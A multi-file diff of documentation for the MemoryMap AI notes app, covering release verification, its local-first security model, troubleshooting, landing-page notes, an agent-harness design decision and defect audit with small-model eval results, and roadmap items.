+- Installs GTK and WebKit for pywebview's Linux backend, then the same trimmed
+  dependency set without the system-tray pieces.
+- Runs PyInstaller against `packaging/linux/memorymap.spec` and smoke-tests the
+  result the same way.
+- Uploads `MemoryMap-AI-<version>-linux-x86_64.tar.gz` and a `.zip` of the same
+  build. The tarball is the one to recommend: a zip does not reliably carry the
+  executable bit, and a launcher without it cannot be started.
+
+Nothing is published to PyPI, on purpose. The app ships through GitHub Releases,
+not as something you `pip install`; the reason is in the comment at the top of
+`release.yml`.
 
 ## Verifying the release
 
 1. Open the [Actions tab](https://github.com/Braydenh563/MemoryMap-AI/actions)
-   and confirm both jobs finished green. The Windows job is the one that can
-   genuinely fail (a dependency version drift, an Inno Setup syntax error,
-   PyInstaller missing a hidden import) — watch it, don't assume green.
+   and confirm every job finished green. The two build jobs are the ones that can
+   genuinely fail (a dependency drifting, an Inno Setup syntax error, PyInstaller
+   missing a hidden import), so watch them rather than assume.
 2. Open the [release itself](https://github.com/Braydenh563/MemoryMap-AI/releases)
    and confirm:
-   - the description matches what you wrote in `CHANGELOG.md`, not the
-     generic auto-generated notes (a sign the header rename was missed);
-   - `MemoryMap-AI-Setup-<version>.exe` is attached as an asset.
-3. **If you can get to a Windows machine, actually run the installer once.**
-   Nothing in this pipeline runs an end-to-end install-and-launch test —
-   PyInstaller and Inno Setup both succeeding is evidence the *build* works,
-   not that the resulting app opens cleanly on a real machine with a real
-   user profile. This is the one step in this whole document that is
-   "should work" rather than "verified," and it's worth closing that gap on
-   the first release after any packaging change (`memorymap.spec`,
-   `installer.iss`, or the CI job itself).
+   - the description matches what you wrote in `CHANGELOG.md`, not GitHub's
+     generic notes (a sign the header rename was missed);
+   - `MemoryMap-AI-Setup-<version>-windows-x86_64.exe`, the Linux `.tar.gz` and
+     the Linux `.zip` are all attached.
+3. **If you can reach a Windows machine, run the installer once.** The pipeline
+   proves the build starts and serves its page, and the Package check proves a
+   silent install works. Neither is a person double-clicking the installer on a
+   real profile, which is the step that is still "should work" rather than
+   "verified". It is worth closing on the first release after any packaging
+   change.
 
 ## If something goes wrong
 
-**The Windows job fails.** Read its log on the Actions tab — PyInstaller
-failures usually name a missing hidden import (add it to
-`packaging/windows/memorymap.spec`'s `hiddenimports` list); Inno Setup
-failures usually name a bad path or a missing `MEMORYMAP_VERSION`. Fix the
-underlying file, commit, and re-tag (see below) — there's no way to re-run
-just the failed job against the same tag with a fix, since the fix has to
-be in the tagged commit.

 ## MemoryMap AI's security model, in short
 
 MemoryMap AI is a **local-first, single-user app that runs on your own
-machine.** It binds to `127.0.0.1` (localhost only), never exposes itself
-to the network, and never sends your notes to the cloud. Your data lives
-in a folder on your disk (`data/`), and access to the app is gated
-behind a password you choose on first run (bcrypt-hashed, stored
-locally).
-
-Because of this design, the most important protections for your notes
-are the ones your operating system already provides:
-
-- **Encryption at rest.** The database is a plain SQLite file. If your
-  notes are sensitive, enable full-disk encryption (BitLocker on
-  Windows, FileVault on macOS, LUKS on Linux). SQLCipher is deliberately
-  *not* bundled: it needs a native dependency on every platform for a
-  single-user local file, and disk encryption covers the same threat
-  more simply. See [`docs/PRIVACY.md`](docs/PRIVACY.md) for what the app
-  encrypts on its own (private notes).
-- **Backups.** The app takes a daily local snapshot into your data
-  folder. Those snapshots are as sensitive as the database, keep them
+machine.** By default it listens on `127.0.0.1` only, so nothing on your network
+can reach it, and it never sends your notes to the cloud. Your data lives in a
+folder on your disk (`data/` beside a source checkout, or your per-user app
+folder when installed). Access to the app is gated behind a password you choose
+on first run (bcrypt-hashed, stored locally). On a computer only you use, you can
+turn the sign-in off; another device and your private notes still ask for the
+password.
+
+Letting another device in is a switch you turn on yourself (Settings, Account &
+security). It always requires the password, and the network side is HTTPS with a
+certificate generated on your computer. [`docs/PRIVACY.md`](docs/PRIVACY.md)
+describes this, what can touch the network, and the browser protections in full.

+  scrypt.
+- **Backups.** The app takes a daily local snapshot into your data folder, and

+## The app will not start
+
+**Started from a source checkout?** Run the launcher with `--doctor`
+(`./start.sh --doctor` or `start.bat --doctor`). It prints one row per thing that
+can stop a launch, with a tick or a cross and a one-line fix for each cross:
+Python's version, whether the virtual environment can import what the server
+needs, free disk, whether the port is free, your model provider, and the last
+error from the previous run's log. If the environment looks broken, `--reinstall`
+rebuilds it from scratch. `--logs` opens the folder of launcher logs, which hold
+the last ten runs.
+
+**Installed with the Windows installer?** Use the **Repair MemoryMap AI**
+shortcut in the Start Menu. It clears the window's cached profile and starts the
+app again, and never touches your notes or settings. A startup error is written
+to `desktop-stdio.log` in the `logs` folder inside your data folder
+(`%APPDATA%\MemoryMap AI`).
+
+**Windows blocked the installer?** The blue "Windows protected your PC" screen is
+expected, because the build is not code-signed yet. Click **More info**, then
+**Run anyway**.
+
+## The port is already in use
+
+MemoryMap serves on port 8000. If something else has it, `--doctor` says so, and
+`--port N` starts the app on another one (`./start.sh --port 8010`). For the
+packaged apps and `python -m memorymap`, set `MEMORYMAP_PORT` instead. An
+already-running MemoryMap on that port is not an error: open it, and use Settings,
+Background tasks, Quit MemoryMap if you want it closed.
+
+## A phone or another computer cannot open it, or warns about the certificate
+
+Other devices are off until you allow them: **Settings, Account & security,
+Other devices, Allow other devices on this network**. Turning it on asks for your
+current password and takes effect at the next start.
+
+The address to open on the other device is `https://` followed by this
+computer's network address and port 8443 (`MEMORYMAP_LAN_PORT` changes it). This
+computer keeps plain `http://localhost:8000`. The certificate is made on this
+computer and signed by itself, so a phone or browser warns the first time:
+compare the SHA-256 fingerprint in the warning's certificate details with the one
+Settings shows, and continue only if they match. Regenerate certificate, in the
+same place, makes a new one without a restart, and the other device then warns
+again. If nothing answers, check that this computer's firewall allows port 8443.
+
+## The first launch is slow or downloads something
+
+Search and filing by meaning use a built-in model that needs the
+`sentence-transformers` package. The first time it is needed, and it is not
+installed, the app installs it by itself: a one-time download of several hundred
+MB (more on Windows, where it brings torch) that needs the internet and can take
+several minutes. Settings, Search and index, Search engine says when it is
+running, and Settings, Background tasks lists the job. Search falls back to
+keywords until it finishes, and nothing else waits for it.
+
+To avoid the download, pick an Ollama embedding model (`nomic-embed-text`) in the
+same place, or set `MEMORYMAP_NO_AUTO_INSTALL` to stop the automatic install.
+
 ## Windows: "torch_xpu.dll ... WinError 127" and search falls back to keywords

 ```
 
-Then restart the app.
+Then restart the app. In the packaged app, Settings, Packages has a reinstall
+for Search by meaning (sentence-transformers) that does the same job without a
+terminal.
+
+**Or go torch-free.** In **Settings, Models**, download `nomic-embed-text`, then
+pick it under Ollama embedding model in **Settings, Search and index**. It runs
+entirely through Ollama, needs no torch, and your notes re-index automatically.
+
+## Linux: the packaged app has no window
+
+The window needs GTK and WebKit as system packages. On Debian and Ubuntu:
+
+```
+sudo apt install python3-gi python3-gi-cairo gir1.2-gtk-3.0 gir1.2-webkit2-4.1
+```
+
+Check that you unpacked the `.tar.gz` and not the `.zip`: a zip may drop the
+executable bit, which leaves a launcher that will not start and says nothing.
+
+## The AI status says the AI is off
 
-**Or go torch-free.** In **Settings → Models**, download
-`nomic-embed-text` and set it as the embedding backend. It runs entirely
-through Ollama, needs no torch at all, and your notes re-index
-automatically.
+The AI status sits in the status bar at the foot of the window, and "AI off" is
+a grey sparkle with a slash through it, not amber or red; hover or focus it for
+"Notebook ready · AI off". It is a supported state: the app is built to degrade. Capture and
+full-text search work exactly as normal, and only auto-filing and chat answers
+need a model. Red is reserved for a model that failed to load or a server that
+cannot be reached, which is rarer, because it needs the server to be reachable but
+failing rather than simply not running.
+
+Start Ollama, or your OpenAI-compatible server, and check Settings, Models,
+Model backend. If you use LM Studio, llama.cpp or vLLM, the address must end in
+`/v1` and match the server's port: [MODELS.md](MODELS.md) lists them.
 
 ## Web search returns nothing, or says DuckDuckGo is rate-limiting
 
-Scraping DuckDuckGo gets rate-limited, and the app now says so rather
-than showing an empty panel. Waiting a few minutes usually clears it.

-so an error in the page and the request behind it sit next to each
-other. It's memory-only, nothing is written to disk, in keeping with the
-rest of the privacy posture, and it says so when the buffer has had to
-drop older records rather than leaving a silent gap.

-**Got an error you want to send someone?** Every record has its own copy
-button that takes the traceback with it, and an opened traceback has a
-**Copy traceback** button too, so one error is one click, not a filter

-clickable and opens the screen already filtered to errors. **Copy all**
-copies what's on screen and relabels itself ("Copy 12 shown") whenever a
-filter is hiding something.
-
-**Reporting a bug?** The **Support bundle** button on the same screen

+    This page is deliberately static and self-contained (INBOX 645). The page
+    it replaced fetched the repository's Markdown documents at run time and
+    rendered them in tabs; those fetches failed often enough that the owner
+    asked for "a solid landing site which doesn't really have a problem with
+    having to be kept up to date". So: no fetch of any kind, no external
+    fonts, scripts or stylesheets, images only from ./screenshots/ by relative
+    path, and every link to a document is an absolute GitHub URL, which
+    always shows the current text. The copy names no version, no count and
+    no date, so it cannot go stale as the app grows. tests/test_docs_site.py
+    holds these rules.
+
+    Colours, radii and type are the app's own (frontend/css/00-tokens-shell.css):
+    the same page gradient and blobs, ink, muted and accent, a 14px radius
+    with inner corners at 0.6 of it, and the system UI font. The muted and
+    link colours are a step darker (light) than the app's, because here they
+    sit straight on the blob, not on a glass card; each was measured at 4.5:1
+    or better against the blob's centre.

Agent mode has 58 tools: search and read your notes, create, tag, link and organise, set reminders, open a web page, place and connect cards on a whiteboard, with destructive actions always confirmed. Personas change its voice; the run shows thinking, tool calls, and prose in the order they happened.</p></div>

Click a node to edit it in place, see its images, or drop one note onto another to link them. <strong>Trace</strong> answers the question a graph is uniquely good at: pick any two notes and see the chain of links, replies and shared tags that connects them, named step by step. Colour by cluster to see which notes can actually reach each other, and how many are connected to nothing at all. The same traversal is what the AI uses: it can trace a path and read your notebook's structure, not just search it.</p></div>

Overview tiles that are also filters, search across titles and previews, bulk selection, grid or list. The long-form <strong>document editor</strong> opens from here, and so does the <strong>whiteboard</strong>: note cards and freehand sketches on a canvas you can pan and zoom, where a board is itself a note and so is searchable and filable like any other.</p></div>

-// ── Ref loader ───────────────────────────────────────────────────────────────
-// Fix for the "docs won't load" issue - two separate bugs, now both fixed:
-//  1. The old 3rd fallback URL was malformed - it literally contained markdown
-//     link syntax "[https://...](https://...)" inside the JS string, so it could
-//     never succeed as a fetch target. It's gone; raw.githubusercontent.com and
-//     jsdelivr are the only fallbacks now, in that order.
-//  2. GitHub Pages here is set to serve from the "main" branch's /docs folder,
-//     which means THIS page is actually docs/index.html, and docs/ARCHITECTURE.md
-//     + docs/ROADMAP.md sit right next to it - reachable at the SAME origin with
-//     no "docs/" prefix at all. CHANGELOG.md, CONTRIBUTING.md and SECURITY.md
-//     live at the repo root instead, which Pages never publishes under this
-//     source setting - those three always need the raw/jsdelivr fallback.
-//  Same-origin requests can't be touched by ad/tracker blocklists (those key on
-//  cross-origin CDN/proxy-style domains), so the two docs that can load
-//  same-origin now do, unconditionally. A last-resort localStorage cache covers
-//  genuine outages so a repeat visitor still sees content instead of a dead panel.
-//
-//  3. THE ONE THAT WAS STILL BREAKING IT, and neither of the above could fix:
-//     **there was no `.nojekyll`.** GitHub Pages runs Jekyll over /docs by
-//     default, and Jekyll does not publish source `.md` files: it *converts*
-//     them, so `ARCHITECTURE.md` was never at this origin at all and the
-//     same-origin candidate 404'd on every load, every time, for everyone.
-//     That left the two cross-origin fallbacks carrying the whole feature,
-//     which is exactly the shape of "it won't load even with my adblocker off".
-//     Jekyll was also parsing `{{placeholders}}` in the docs as Liquid
-//     variables and rendering them away. `docs/.nojekyll` turns the whole
-//     pipeline off: the markdown is served byte-for-byte, same-origin, and the
-//     braces stay literal.
-const BRANCH    = 'main';
-const PAGE_BASE = location.pathname.replace(/[^/]*$/, ''); // same-origin site root (= repo's /docs folder)

 ## The harness does the work the model is worst at: decided 2026-09-21
 
-The owner, after being shown a prompt patched to teach a model what day it
-is: "that's bad harness design. the harness and skills need to be flawless.
-for all ai features, they need to be lightweight and insanely good, fast,
-good quality, not too context heavy and more."
-
-He is right, and the codebase convicts itself. **This app already owns a
-deterministic time resolver and does not use it where it matters most.**
-`entry/timewords.py` turns "tonight", "next Friday" and "in three days" into
-real instants with regular expressions and arithmetic against the user's own
-clock, and its own docstring explains why it is deterministic: it runs on
-every note saved, including with no model running. `ai/reminder_parser.py`
-does the same job for a typed reminder. And yet `set_reminder`, the tool the
-model calls, takes a raw `due_at` and does `datetime.fromisoformat` on it, so
-the single place where a small model is weakest, date arithmetic, is the one
-place the harness insists the model do it alone.
-
-The result is in the owner's transcript: asked for a reminder two hours
-before midnight, the model reasoned "midnight for today, September 21st, is
-2026-09-22T00:00, two hours before midnight is 2026-09-22T22:00", keeping the
-midnight's date and changing only the time, and set the reminder for the
-wrong night.
-
-**The rule, which is what this section exists to state.** A tool argument is
-either something only the model can supply, which is intent, or something the
-app can compute, which is a fact. Intent belongs in the schema. A fact the
-app can compute does not, and asking for it converts a deterministic answer
-into a probabilistic one. "Remind me two hours before midnight" is intent;
-`2026-09-22T22:00` is a computation, and the app is better at it than any
-model it will ever run, for free, offline, every time.
-
-Three consequences, each of which also makes the prompt lighter, which is the
-owner's other point:
-
-1. `set_reminder` takes a phrase and resolves it with `timewords`, keeping
-   the ISO field as an escape hatch for a model that genuinely has one. Every
-   other tool taking a computed value is found and given the same treatment;
-   two take an ISO date-time today.
-2. The prompt stops teaching arithmetic. The weekday and week-ahead lines
-   added on 2026-09-21 are **interim**, worth their 245 characters only until
-   the tool stops needing them, and they come out in the same commit that
-   lands 1. A prompt that grows every time a model gets something wrong is a
-   prompt that will keep growing.
-3. A skill's steps get the same audit. A step that asks the model to compute
-   something the app knows is the same fault at a larger scale, and skills
-   run unattended, where a wrong answer is not caught by the person reading
-   it.
-
-**Gate.** A test that asks for a reminder in the shapes people actually use,
-"two hours before midnight", "Friday night", "tomorrow morning", with a fake
-model that returns only the phrase, and asserts the resolved instant. It must
-pass with no model reachable at all, which is the proof that the arithmetic
-left the model.
-
-**Not verified.** How many other tool arguments are computations rather than
-intent: two take an ISO date-time, and the rest of the surface has not been
-read with this question in mind. That audit is the first step.
+Built, the audit included, 2026-10-05: moved to HISTORY.md, "Moved from the
+plans, 2026-10-05 (the harness does the arithmetic)". The rule stands as the
+decision: a tool argument is intent (the model's) or a fact the app can
+compute (never asked of the model).

+| # | Defect | Where | Evidence |
+| --- | --- | --- | --- |
+| 1 | A small model's toolbox held one write (`create_note`) whatever was asked | `agent._prepare_turn` | 1.5B, "Pin my dentist note": no `pin_note` offered, wrote a duplicate note, then "has been created and pinned" |
+| 2 | A reminder's date-time without an offset was stored as UTC | `tools._set_reminder` | 9:00 fires at 19:00 at UTC+10 |
+| 3 | Reminder arithmetic left to the model (decided 2026-09-21, unbuilt) | `set_reminder` schema, `TOOLS_GUIDE` | "two hours before midnight" a day out (owner's transcript) |
+| 4 | No matching note was told to the model as an empty notebook | `agent.build_agent_messages` | 1.5B with four notes: "There are no notes in your notebook" |
+| 5 | Malformed tool JSON silently became `{}` | `provider.normalise_tool_calls` | 0 of 5 ordinary slips read |
+| 6 | No argument check before a handler; errors named nothing | `tools.execute_tool` | 11 of 31 named the missing parameter; `pin_note` read "false" as true; `{"id": 1}` failed |
+| 7 | A claimed act with no call got a heads-up and no second chance; the passive voice was missed | `agent.run_agent`, `unsupported_claims` | 1.5B: "I've made a new note for you", no call |
+| 8 | A long reply announcing an act was never nudged | `agent.announces_unacted_tool` | 1.5B wrote the note out as markdown, then "I will call the tool" |
+| 9 | Running out of rounds ended with no answer | end of `run_agent` | a small model, capped at four rounds, said only "I stopped after 4 rounds" |
+| 10 | The tools-on prompt never said which notes have pictures | `agent.build_agent_messages` | the owner's question; Chat and Ask had it (526) |
+| 11 | The agent's OpenAI-dialect path did not retry a 5xx, and sent `tools: []` | `openai_client.chat_tools_stream`, `_payload` | llama-server answers 503 while a model loads |
+| 12 | A tool result over the turn's budget was dropped whole | `agent._dispatch_call` | a 20-note page with 3,000 characters left: nothing read, tools withdrawn |
+| 13 | Calls in one reply parked each other; web reads ran in series | `agent._dispatch_call` (the 430 guard) | the second search of "search X and Y" parked; three pages 1.2 s |
+| 14 | Schema words a 1.5B misreads | `pin_note`, `tag_note` | unpinned when asked to pin; "I can't tag" with `tag_note` offered |
+| 15 | A small model answered most imperatives in prose | first round of `run_agent` | "Make a note", "Remind me", "Tag": no call; with `tool_choice: "required"` llama-server answered `create_note` |
+| 16 | "Add X to my Y note" cued no edit tool | `tools.focus_detail` | 1.5B rewrote the note in prose, saved nothing |
+
+**Audited and sound, no change.** Streamed calls by index, an indexless
+fragment included (`openai_client._accumulate_tool_calls`); six text dialects
+of a call (`provider.extract_text_tool_calls`); doom loops (identical-failure
+interception, `MAX_TOOL_FAILURES`, earned rounds, the duplicate-write and
+fresh-read interceptions); approval (destructive tools park,
+`MAX_PARKED_CONFIRMS`, `undo` on every change event); injected text fenced
+(`fence.fence_result`); the window budget (`context.plan`) and its log lines;
+a run's token and time budget (`ai/budget.py`); Stop closes the generator and
+the stream with it. The plan tracker exists for `make_plan` and skills
+(`chat-agent.js` `startPlan`/`markStep`), and since H1 for every multi-step turn.
+
+**What the real model says now, honestly.** Before (the ten cases): a right
+first tool 2 of 10, finished 2 of 10, arguments valid 2 of 2, a picture
+placed 0 of 3. After the toolbox and nudges: still 2 of 10 first calls (the
+1.5B answers most requests in prose), but the case the harness had made
+impossible now runs (`pin_note` offered and called), and a claimed note is
+caught and asked for. With the forced first call (the real system prompt and
+tools, `scratchpad/harness_forced.py`): 2 of 3 imperatives answered with a
+call, `tag_note {"note_id": 1, "add": ["urgent"]}` exactly right, against 0
+of 3 unforced. The full ten-case rerun after every change was stopped: on
+these cores one turn ("Make a note") ran 948 s to the 2,048-token reply cap
+and made no call, the model rambling past the grammar; that cap is H4's.
+
+**Not verified.** Every real-model number is one 1.5B on contended cores; 3B
+and 4B were not run (none on disk). Ollama's native dialect and concurrent
+calls at index 1+ have no real-model eval. The wrap-up answer and the claim
+retry were not looked at in a browser (no UI changed: they are answer text).

+
+- **H1 to H3** are built: HISTORY.md, "Moved from the plans, 2026-10-04
+  (harness H1 to H3)".
+- **H4. Evals breadth.** The same ten cases at 3B and 4B, and the
+  required first call measured over twenty imperatives and ten questions,
+  with a tighter reply cap on a small model's tool rounds (one ran 948 s to
+  2,048 tokens on these cores); Ollama's native
+  dialect; two calls in one reply on a real model; picture placement over
+  ten tries. Done when: each has a number in this section.
+
+  **Measured 2026-10-04, Qwen2.5-3B-Instruct Q4_K_M** (llama-server
+  `--jinja`, started in under two minutes with `scratchpad/llama-dev.sh
+  serve`; four contended cores, 4 to 400 s a round):
+  - The ten cases (`scratchpad/harness_probe.py`): a right first tool 9 of
+    10 ("Make a note" opened with `get_current_time`, then made the note),
+    finished 10 of 10, every turn ended in
+    words. Two of them then made a copy of the note they had just pinned or
+    edited (one with the prompt's fence markers in it): fixed, a copy is now
+    refused (`agent._copies_what_was_read`).
+  - The required first call (`scratchpad/harness_firstcall.py`): the rule
+    forces 20 of 20 imperatives and 0 of 10 questions; forced, a right first
+    tool 14 of 20 (3 of the misses were `save_user_preference`, now offered
+    to a small model only when the request is about the user); unforced
+    questions 10 of 10.
+  - Two calls in one reply: 2 of 20 imperatives and 1 of 5 two-part requests
+    ("Make a note ... and remind me ..." gave `create_note` and
+    `set_reminder` in one reply, both right).
+  - Picture placement: 0 of 3 in the eval before the H3/H4 picture fix (one
+    probe placed the note on a whiteboard instead); 5 of 5 after, each time
+    as the note's own `![alt](/media/...)`, which the bubble draws as an
+    image (checked in the browser), never as `[picture N]`.
+  - The reply cap (H3) never fired at 3B: no tool round wrote past 2,400
+    characters (the largest round was 129 tokens).
+  - **Not run:** 4B (only 1.5B and 3B on disk; at 3B a full ten-case pass took
+    about 50 minutes on these cores, so a 4B pass was left for a quieter
+    machine); Ollama's native dialect (no Ollama binary in the sandbox;
+    installing one was not attempted); ten picture tries (five were run).
+  - **The first round, fixed 2026-10-04** (a forced round took a harmless
+    read, a question was offered writes): HISTORY.md, "Moved from the
+    plans, 2026-10-04 (the first round)". 3B, forced first rounds of the
+    eleven note-targeting imperatives, two tries each: a right first tool
+    17 of 22 before, 20 of 22 after.
+  - **The two misses that were left, fixed 2026-10-05** (fake transport):
+    HISTORY.md, "Moved from the plans, 2026-10-05 (the first round, second
+    pass)".
+  - **A real 3B pass over them, 2026-10-05** (whole turns through
+    `/chat/stream`, `scratchpad/harness_probe.py`, llama-server `-t 2` on
+    four cores at load 14 to 22, 2 to 12 minutes a round): seven imperatives,
+    a right first tool 6 of 7 and a turn that ended telling the truth 5 of 7.
+    The three faults it showed are fixed: HISTORY.md, "Moved from the plans,
+    2026-10-05 (H4, the 3B pass)". Re-run on those three after the fixes:
+    filing right and said right; the move read the notes and asked before
+    editing (no false claim); the pin right first, then the server was
+    killed by the sandbox's memory limit mid-answer, so its ending was not
+    measured.
+  - **Brief 13's evals, built and run once**: `tests/test_skill_evals.py`
+    (`evals`), the seventy-note loose-ends fixture with eight planted and the
+    zero-invalid-calls count over the built-in skills. The 3B named 2 of 8
+    loose ends in 55 minutes, having written `list_notes({...})` into prose
+    instead of calling it; that shape is recovered for a read now (CHAT_PLAN
+    Phase 4 has the run). The re-run after the fix did not start: the model
+    server had been killed by the sandbox's memory limit (eight agents).
+  - **Still open**: 4B (none on disk); Ollama's native dialect on a real
+    Ollama (no binary; the dialect now runs over a socket against
+    `scratchpad/fake_ollama_server.py`, WORLD_CLASS_PLAN row 19); the
+    built-in skills pass, hours on these cores.

 ## 4a. A real whiteboard, not just a bigger sketch
 
-**Why, and what's actually being asked for.** The sketch pad today is one
-canvas producing one PNG, tied 1:1 to one note — closer to a Polaroid than a
-whiteboard. "Expand and improve sketches board, maybe a whiteboard tab??"
-plus the follow-up ask for it directly means something with more freedom
-than that: a canvas that isn't locked to a single note, that you can come
-back to and keep adding to, and that plausibly holds more than ink — text
-boxes, shapes, maybe pinned note cards.
-
-**Two genuinely different things live under "whiteboard," and they have very
-different costs:**
-
-- **A bigger, freestanding sketch.** Still a raster canvas producing one
-  image, same technology as today's sketch pad — the difference is it's not
-  born attached to a note (it's its own Library item, per §4 item 4 above),
-  it can be reopened and drawn on further rather than being a one-shot
-  export, and it can be arbitrarily large/pannable rather than a fixed
-  small pad. This is genuinely close to what already exists: same
-  `attachments` storage shape, same rendering approach, mostly a change in
-  *lifecycle* (persistent and reopenable, not one-and-done) rather than new
-  technology.
-- **A structured canvas** — separate movable/resizable elements (shapes,
-  text, sticky notes, embedded note cards you can drag onto it), each
-  stored as its own positioned object rather than baked into one flat
-  image. This is what tools like Excalidraw or tldraw actually are, and
-  it's a different kind of feature: an infinite-canvas scene graph with its
-  own undo model, not an extension of the sketch pad. It's also the version
-  that would let a whiteboard hold *note cards* pinned to it — which is the
-  part that would make it feel like part of this app rather than a bolted-on
-  drawing tool, since nothing else here does that.
-
-**Worth sequencing rather than picking one.** The freestanding raster
-version is a small, mostly-lifecycle change and delivers most of the
-"expand the sketch board" ask on its own. The structured version is a real
-build — a second rendering system alongside §9's graph — and is only worth
-it if the raster version turns out to not be enough. Ship the first as the
-actual whiteboard tab; treat the second as a stretch goal that depends on
-whether people actually want to move things around after drawing them,
-which is not knowable in advance.
-
-**Where it lives.** Library tab (§4) as its own item type is the better fit
-than nesting it under Notes — a whiteboard that isn't 1:1 with a note has
-nowhere natural to sit in the Notes tab, and the Library tab is already
-being built as the home for "everything that isn't a note."
+**Built.** The structured canvas this section sequenced behind a raster version is
+what shipped: cards, text boxes, shapes, images and ink on a pannable board, each its
+own positioned row (`frontend/js/whiteboard.js`, `api/routes_whiteboard.py`), living
+in the Library's Whiteboards gallery. **Pointer:** every open whiteboard question is
+[WHITEBOARD_PLAN.md](WHITEBOARD_PLAN.md) and `scratchpad/audit1005/features.md`

 ## 4b. Templates and base layouts (boards, maps, documents)

-the README: *"add the ability to save whiteboard templates and base layouts, Im
-inspired by this example whiteboard png the agent took and it can be like canva
-templates, same with the mindmap and documents."* Deferred out of the 0.3.0 PR
-by the owner the same day: *"put the templates idea in the roadmap, not for
-this pr."*
-
-**Most of this exists and must not be rebuilt.** Notes already have templates
-(`BUILTIN_TEMPLATES` in app.js, with a "Yours" group beside a "Built-in" one,
-offered through `#entry-template`) and that grouping is the shape the request
-describes. Documents already have "new from template" with `{{date}}` and
-`{{title}}` substitution, and DOCUMENTS_PLAN Phase 5 item 5 already specifies
-the gallery. Boards can already be copied whole through
-`POST /whiteboard/boards/{board_id}/duplicate`, and `BoardOut` already carries
-`preview_items`, `preview_edges` and `preview_aspect`, which is what draws the
-board cards in the Library, so the gallery's thumbnails are solved.
-
-So the feature is one idea: a board, map or document *marked* as a template,
-shown in a gallery with a preview, copied on use. The full brief, including the
-decision to record first (where the mark lives: `board_settings` on the board's
-own note, the way `type` and `layout` already do, against a separate table) and
-the build order (boards, then maps, then documents, each end to end), is
-SESSION_BRIEFS.md Brief 32.

+- `execute_tool` already files writes as `ai:<tool>` through `events.acting_as` (`ai/tools/__init__.py`), so a new tool only needs a test for it.
+- Undo is a single tool call posted back to `/chat/tools/execute` (`chat-agent.js`, `changeRow`). Its arguments may carry extra keys, which `move_notes` needs in order to put each note back in its old category.
+- `move_notes` to a space can reuse `routes_spaces.py`'s `move_notes_to_space`, once that body is lifted into a shared helper. `export_notes` writes into `_exports_dir()` (`routes_files.py`).
+- There is no calendar events table: `core/events.py` is the change log, and the timeline's kinds are note, board, document and reminder. The plan for `add_event`: a `Reminder` row with a new `kind` column, which needs one migration. The plan for `list_events`: read the timeline over a date window.

-- **A visual splash/loading window during startup, before the server exists
-  to serve one.** Asked for directly: on Windows, `start.bat`'s dependency
-  install (and the self-update `git pull` before it) can run for minutes with
-  only console text as feedback — invisible entirely if the user launched via
-  `start-desktop.bat` without watching the console, or if it's minimized. The
-  desktop mode already solved the *narrower* version of this (see
-  `_wait_for_server`'s docstring in `__main__.py` — the pywebview window
-  doesn't open at all until the server is confirmed accepting connections, so
-  there's no long black-screen window sitting open), but nothing shows
-  anything at all during the pip-install/git-pull phase that happens before
-  that. A real splash would need its own lightweight window (Tk ships with
-  every Python install and needs no extra dependency, unlike pywebview) shown
-  by the launcher itself, independent of the app server, then closed once
-  `_wait_for_server` succeeds — a different lifecycle than anything else in
-  this launcher, not a small addition to an existing one. Scoping this

-  tab when this comes up, a notification instead, same as for other things

-- **Start/completion notifications for named sub-processes.** Asked for
-  directly, naming "renaming with AI," "generating title," and "other
-  things" as examples — a toast or notification when one of these begins,
-  and a second one confirming success (or failure) once it ends, rather
-  than the current silent-until-done (or silently-failed) behaviour.

-  agent prompts.** Asked for directly: "see if the token usage and
-  consumption in chats can be reduced and made more efficient... make all
-  processes in the chat tab and backend suitable and well designed for
-  smaller models as well as larger models." `agent.PROSE_BUDGET_CHARS` is
-  already asserted (CLAUDE.md), and this session's provider-level retry
-  fix (§91) reduces one concrete waste — a failed call needing a manual
-  resend that re-sends the whole prompt again. Nothing beyond that has been
-  measured this session: a real pass would need to profile actual prompt
-  sizes across the librarian/agent/skill paths against a range of context
-  windows (the app already tracks `usable_context` per model) and look for
-  prompt content that scales with notebook size rather than staying flat.
-- **AI follow-up question suggestions in chat and the Ask sub-tab.** Asked
-  for directly: after an answer, offer 2-3 suggested follow-up questions,
-  in both the Chat tab's conversations and the Notes tab's Ask sub-tab.
-  `loadChatSuggestions()` (app.js) already exists for a *different* kind of
-  suggestion (conversation starters, empty-state only) — this would be a

-  likely reusing the existing chat model rather than a new route.
-- **Graph minimap drag-to-zoom, plus pinch/keyboard zoom.** Asked for
-  directly: click-and-drag a rectangle over the graph's minimap to redefine
-  the main view's window/position/zoom to match, and two-finger
-  pinch-zoom (touch) plus a keyboard zoom in/out, matching what the main
-  graph canvas already supports. `graph.js` already owns the minimap
-  rendering and the main canvas's own zoom/pan handlers — this extends
-  both rather than adding a new subsystem, but the minimap's own hit-testing
-  and coordinate-mapping (screen rect → graph viewport) isn't scoped yet.

+    that's offline only anymore...". The local half is a recommendation, not
+    a decision, and is in the ANALYSIS.md section named above. The streaming
+    half is his: today `routes_settings.py:220` calls web search "The ONE
+    feature that goes online, off unless the user opts in",
+    `routes_websearch.py:31` says the same in its 403, and
+    `dashboard.js:1277` says it to the person, so a Spotify or YouTube Music
+    connection would make that sentence false in three places, on top of an
+    OAuth flow, a cloud account and a stored token. Recommendation: leave the
+    promise absolute and build the local folder player instead; if it is ever
+    reopened, it is a second clearly labelled opt-in extra, off by default,
+    and the copy in all three places changes in the same commit.

+213. **Mid-work drop, 2026-09-14 morning, verbatim (the owner), the last
+    scan.** "finish all the agents, scan for bugs and high complexity one
+    last time, and let me know when the pr is ready to merge / make sure to
+    merge all of the agent branches into this one as the agents finish."
+    And: "once absolutely everything is done and the roadmap documents are
+    cleaned etc, all the agent branches are merged into this one etc, merge
+    this pr for me." And (228, the same order, folded in): "after you have
+    finished all these, done the final bug sweep, make sure everything is
+    finished for the pr, and finish the pr, merging it into main." Owner:
+    orchestrator; the merge is the last act.
+    **The last scan, run 2026-09-20.** Four passes, each a number rather
+    than a reading:
+    - **Routes with no caller** (`scratchpad/probe_dead_routes.py`): 320
+      served, 9 unnamed by the frontend, every one triaged in 261. Two were
+      real and are fixed: `/resurface/near/{entry_id}` was unreachable *and*
+      crashed on its first call, and `GET /events` is a built feed with no
+      strip to read it (WORLD_CLASS_PLAN B1, still open).
+    - **Calls with no route** (`scratchpad/probe_missing_routes.py`, new,
+      the mirror and the worse failure): 297 distinct paths called, **0 with
+      no route**, both undecidable paths resolved by hand.
+    - **Frontend declarations nothing references**: 3,222 top-level names,
+      **0** referenced only by their own declaration. No dead weight left in
+      `frontend/js/*.js`.
+    - **Complexity, backend**, by branch count over 1,827 functions. The top
+      five, for whoever takes this on: `_run_one_step` (skill_runner.py:784,
